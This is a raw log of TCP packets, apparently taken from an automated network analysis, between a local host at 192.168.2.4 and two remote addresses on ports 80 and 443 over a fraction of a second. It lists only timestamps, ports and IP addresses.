Oct 6, 2024 22:33:09.100887060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100898027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100907087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100915909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100925922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100934982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100938082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100944042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100954056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100956917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100961924 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100970984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100972891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100982904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.100989103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.100995064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.101001024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.101012945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.101093054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.102109909 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.102163076 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.102231026 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.102261066 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.102282047 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.102308989 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.102334976 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.102447033 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.102462053 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.102495909 CEST	49748	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.102504015 CEST	443	49748	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.105125904 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.105153084 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.105227947 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.105374098 CEST	49752	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.105390072 CEST	443	49752	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.110909939 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.111046076 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.111112118 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.111169100 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.111169100 CEST	49747	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.111196995 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.111207008 CEST	443	49747	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.113553047 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.113584995 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.113658905 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.113776922 CEST	49753	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.113796949 CEST	443	49753	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.123711109 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.123759031 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.123842955 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.123856068 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.123876095 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.123929977 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.123980999 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.123994112 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.124006033 CEST	49749	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.124011993 CEST	443	49749	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.124306917 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.124351978 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.125061035 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.125097036 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.125102043 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.125113010 CEST	49750	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.125117064 CEST	443	49750	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.127019882 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.127048016 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.127444983 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.127685070 CEST	49754	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.127703905 CEST	443	49754	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.128293037 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.128307104 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.128380060 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.128506899 CEST	49755	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:09.128520012 CEST	443	49755	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:09.179665089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179758072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179768085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179819107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.179841995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.179847002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179857016 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179867029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179876089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179884911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.179893017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.179914951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.179928064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182531118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182583094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182585001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182591915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182641029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182641029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182703018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182713985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182724953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182734013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182763100 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182825089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182848930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182858944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182893991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182939053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182946920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182955980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182966948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182971954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.182976961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.182991982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183017969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183161020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183171034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183180094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183190107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183198929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183207989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183214903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183218956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183234930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183247089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183269978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183455944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183465958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183475018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183492899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183506012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183506012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183506966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183517933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183525085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183528900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183542013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183542013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183552027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183557987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183562040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183585882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183585882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183598042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183932066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183942080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183952093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183960915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183971882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183979988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.183981895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.183991909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184004068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184015989 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184039116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184201956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184212923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184222937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184232950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184242010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184246063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184262037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184283972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184298038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184309006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184317112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184328079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184335947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184336901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184348106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184355974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184356928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184359074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184369087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184381008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184398890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184426069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184906960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184915066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184925079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184935093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184942961 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184952974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184961081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184971094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184973001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.184981108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184984922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184989929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.184994936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185000896 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185003996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185009956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185014009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185024023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185025930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185048103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185056925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185564995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185580969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185590029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185601950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185610056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185619116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185621977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185628891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185638905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185646057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185648918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185657978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185664892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185668945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185678005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185681105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185688019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185695887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185698032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185708046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185717106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185719013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185726881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185735941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185740948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185745955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185755968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185761929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185765982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.185771942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185791969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.185815096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186355114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186366081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186376095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186424017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186510086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186526060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186541080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186551094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186566114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186574936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186577082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186588049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186594009 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186602116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186606884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186610937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186623096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186631918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186635017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186641932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186651945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186661005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186678886 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186691046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.186964989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186975956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186981916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186988115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.186994076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187000036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187011957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187014103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.187017918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187028885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187038898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.187052965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.187052965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.187067986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.187077045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.265888929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.265914917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.265924931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266031981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266042948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266052008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.266053915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266063929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266079903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.266103983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.266769886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.266824007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.268870115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.268879890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.268889904 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.268918991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.268933058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.268990040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269001007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269011021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269023895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269037008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269064903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269128084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269139051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269149065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269159079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269169092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269179106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269191027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269212961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269367933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269378901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269390106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269393921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269399881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269403934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269437075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269450903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269576073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269586086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269596100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269606113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269620895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269644022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269825935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269840956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269850969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269861937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269871950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269876957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269881964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269887924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269895077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269902945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269903898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269916058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269927025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.269928932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269949913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.269968033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:09.270246029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270256042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270266056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270276070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270287991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270298004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270308018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:09.270319939 CEST	49741	80	192.168.2.4	141.98.233.156
